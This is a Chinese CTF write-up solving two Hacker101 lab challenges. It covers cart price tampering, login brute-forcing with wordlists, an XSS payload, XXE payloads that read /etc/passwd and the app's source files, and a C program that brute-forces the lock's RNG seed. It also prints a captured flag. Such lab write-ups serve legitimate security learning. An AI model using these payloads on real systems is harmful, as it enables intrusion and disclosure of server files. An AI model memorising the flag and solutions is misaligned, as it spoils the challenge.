内容简介:hi,大家好,我我我又又又来啦!接着第一篇、
hi,大家好,我我我又又又来啦!接着第一篇、 第二篇 还有第三篇的进度,这次为大家带来Hacker101 CTF的第十、十一题:
废话不多说,上题!
第十题Petshop Pro
这道题比较简单,说简单一下,打开主页:
看来是个宠物店,可爱的猫猫和狗狗,可以加入购物车带回家!:)
由于最近比较流行撸羊毛,所以看到这样的购物商店就想撸 ^_^ ,点个小猫加入购物车,自动跳转到付款页面:
在burpsuite中打开抓包开关,点击网页上的“check Out”,把付款包抓下来:
其中post的数据为:
cart=%5B%5B0%2C+%7B%22logo%22%3A+%22kitten.jpg%22%2C+%22price%22%3A+8.95%2C+%22name%22%3A+%22Kitten%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+kitten.%22%7D%5D%5D
url解码后为:
cart=[[0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc": "8"x10" color glossy photograph of a kitten."}]]
可以看到价格等信息都在里面,来当回羊毛党吧,我们将price改为0发送,
ok,付款值已经变为了0,羊毛撸成功!拿到了第一个flag。
继续,看看有没有敏感路径,爆破一下路径,工具任选,发现有login页面:
试了一下万能密码、POST注入,均无效,但是发现输入错误的用户名会告知用户名错误,而且没有验证码和次数限制,
所以可以先爆破用户名,再爆破密码,先爆破用户名:
注意字典去这里找https://github.com/danielmiessler/SecLists,爆破用户名用里面的:SecLists-masterUsernamesNamesnames.txt,爆破密码用SecLists-masterPasswordsdarkweb2017-top10000.txt,别问我怎么知道的,
注意这里有个坑,正常的用户名和错误的用户名返回的包长度是一样的,因为”Invalid username”和”Invalie password”长度是一样的,所以看返回包的长度是看不出什么的,除非一个个包去翻ಥ_ಥ ,所以爆破用户名时要加一个结果匹配选项:
爆破结果:
然后爆破密码:
然后用correy:tuttle登陆:
拿到第二个flag,继续,看到页面上有edit链接,点开:
发现有可以编辑的地方,看能否xss,在name、description处都输入<img src=x onerror=alert(1)>,save保存,回到主页:
虽然payload奏效了,但是没有flag,去其他页面看看,点击checkout,跳转到付款页面:
拿到了第三个flag。
第十一题Model E1337 – Rolling Code Lock
这道题比较难,详细说一下,打开主页:
让我们输入code解锁,随便输个1,点Unlock解锁,
反馈一个期望值09454537,意思是我们刚才如果输入这个值得话就解锁了,那么再回到主页输入09454537,点击Unlock,
期望值变了,所以还是没成功,想了一会,没有头绪,试试其他思路吧,先爆破一下路径,工具任选,一下就找到了admin页面,来看一下:
这个admin页面比较奇怪,既没有登陆框也没有任何可供输入的地方,只有一条奇怪的信息: Lock location:Front door ,抓包也没有看到任何有用的东西,右击看了一下网页源码:
有一条比较露骨的注释:
<!-- We should be using get-config for this on the client side. -->
所以应该有get-config:
这部就是刚刚admin页面中的信息么,再看一下这个页面的网页源代码:
是个XML格式的内容,那么get-config很可能读取了一个XML文件,我们现在将这些线索串起来,推测一下后台的逻辑:当我们访问admin页面时,admin调用了get-config,get-config读取了一个XML文件,获取了其中相关的字段,生成了admin页面。所以这道题很可能考察了XXE注入,我们需要通过XXE注入修改get-config读取的文件,比如说网站源码,但是XXE注入需要注入点啊,在哪里呢?
抓了一下admin页面和get-config的包,用OPTIONS请求探测了一下两个页面,发现两个页面都只支持HEADOPTIONSGET三种请求方法:
难道要爆破参数用GET方法发送XXE的payload,或者还有其他页面?我在反反复复测试XXE以及爆破页面的过程中度过了两个日夜,对着get-config页面发呆,最后几乎都要放弃了,忽然灵机一动,既然有get-config,为什么不会有set-config,访问了一下:
居然不是404!,说明这个页面是存在的,只是我们访问它的方式有一些问题,抓包,改请求方法为OPTIONS:
依然不支持POST,没关系,爆破一下参数,字典用上文提到的字典包,用里面的:SecLists-masterDiscoveryWeb-Contentburp-parameter-names.txt,payload参照get-config返回的内容,修改为:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "/etc/passwd" >]><config><location>&xxe;</location></config>
url编码后添加到参数后面,开始爆破:
很快就爆了出来:
这个包发生了302跳转,猜想这里payload已经奏效,所以回到admin页面,查看网页源码:
完美!接下来就是读取网站后台源码了,由于这里是uwsgi+flask+nginx+docker环境(看的hint),所以先用payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "uwsgi.ini" >]><config><location>&xxe;</location></config>
读取uwsig.ini,里面内容很简单:
module = main callable = app
说明主模块为main.py,所以下一步用payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "main.py" >]><config><location>&xxe;</location></config>
读取main.py,这是网站的主页逻辑:
from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO
from rng import *
# ^FLAG^7682cc1c5a112610b3cc9b7b87e0661223834323a2da73c0ee966eed510b6b49$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
r.headers["Pragma"] = "no-cache"
r.headers["Expires"] = "0"
r.headers['Cache-Control'] = 'public, max-age=0'
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location
class Handler(xml.sax.ContentHandler):
def __init__(self):
self.location = None
def startElement(self, name, attrs):
if name == 'location':
self.location = ''
def endElement(self, name):
if name == 'location':
global location
location = self.location
self.location = None
def characters(self, content):
if self.location is not None:
self.location += content
@app.route('/set-config')
def setConfig():
data = request.args['data']
parser = xml.sax.make_parser()
parser.setContentHandler(Handler())
parser.parse(StringIO(data))
return redirect('admin')
app.run(host='0.0.0.0', port=80)
看!里面有flag,继续,阅读上面的源码,注意其中的unlock函数,实现首页的猜数字功能,我们要猜的期望值是由next(26)产生的,而next函数不在该页面中,看了一下第六行 from rng import * ,所以这里应该还有个rng.py,next函数应该就在其中,于是用payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "rng.py" >]><config><location>&xxe;</location></config>
读取rng.py,源码如下:
def setup(seed):
global state
state = 0
for i in xrange(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
def next(bits):
global state
ret = 0
for i in xrange(bits):
ret <<= 1
ret |= state & 1
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in xrange(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
return ret
setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))
好吧,貌似有点复杂,读了几遍,大意明白了:先用一个2的32次方以内的seed值放入setup函数,生成state的初始值,然后主页接受到浏览器发送过来的code时就进入next函数,生成一个2**26以内的期望值,然后主页逻辑会将code与这个期望值比较,相等就能拿到第二个flag,关键这里state的状态变化太复杂了,实在看不出有啥破绽 (“▔□▔)/(“▔□▔)/,只好祭出暴力破解大法来爆破seed,使之满足计算出的第一个期望值与第二个期望值,注意这里爆破的seed范围为2的32次方,用 python 会非常慢,用C爆破效率高出许多:
#include <stdio.h>
unsigned long long state = 0;
unsigned long long expected_code1 = 12350614;
unsigned long long expected_code2 = 37524982;
void setup(unsigned int seed){
state = 0;
unsigned long long cur = 0ll;
for(unsigned i=0;i<16;i++){
cur = seed & 3;
seed >>= 2;
state = (state << 4)|((state & 3ll) ^ cur);
state |= cur << 2;
}
}
unsigned long long next(unsigned int bits){
unsigned long long ret = 0l;
for(unsigned int i=0;i<26;i++){
ret <<= 1;
ret |= (state & 1ll);
state = (state << 1) ^ (state >> 61);
state &= 0xFFFFFFFFFFFFFFFFll;
state ^= 0xFFFFFFFFFFFFFFFFll;
for(unsigned int j=0;j<64;j+=4){
unsigned long long cur = 0ll;
cur = (state >> j) & 0xFll;
cur = (cur >> 3) | ((cur >> 2)&2ll) | ((cur<<3)&8ll) | ((cur<<2)&4ll);
state ^= (cur << j);
}
}
return ret;
}
int main(int argc,char *argv[]){
unsigned int seed = 1;
while(seed){
if(next(26) == expected_code1){
printf("first check passed,and seed is:%ldn",seed);
if(next(26) == expected_code2){
printf("second check passed,and seed is:%ldn",seed);
printf("and next expected_code is :%ldn",next(26));
break;
}
}
seed++;
}
printf("end");
while(getchar()!='+'){}
}
将第一个与第二个期望值代入上面的代码,爆破之,得到第三个期望值,回到主页面输入,验证通过,得到第二个flag:
打完收工!
以上所述就是小编给大家介绍的《玩转Hacker101 CTF(四)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Iterative Methods for Sparse Linear Systems, Second Edition
Yousef Saad / Society for Industrial and Applied Mathematics / 2003-04-30 / USD 102.00
Tremendous progress has been made in the scientific and engineering disciplines regarding the use of iterative methods for linear systems. The size and complexity of linear and nonlinear systems arisi......一起来看看 《Iterative Methods for Sparse Linear Systems, Second Edition》 这本书的介绍吧!
CSS 压缩/解压工具
在线压缩/解压 CSS 代码
XML、JSON 在线转换
在线XML、JSON转换工具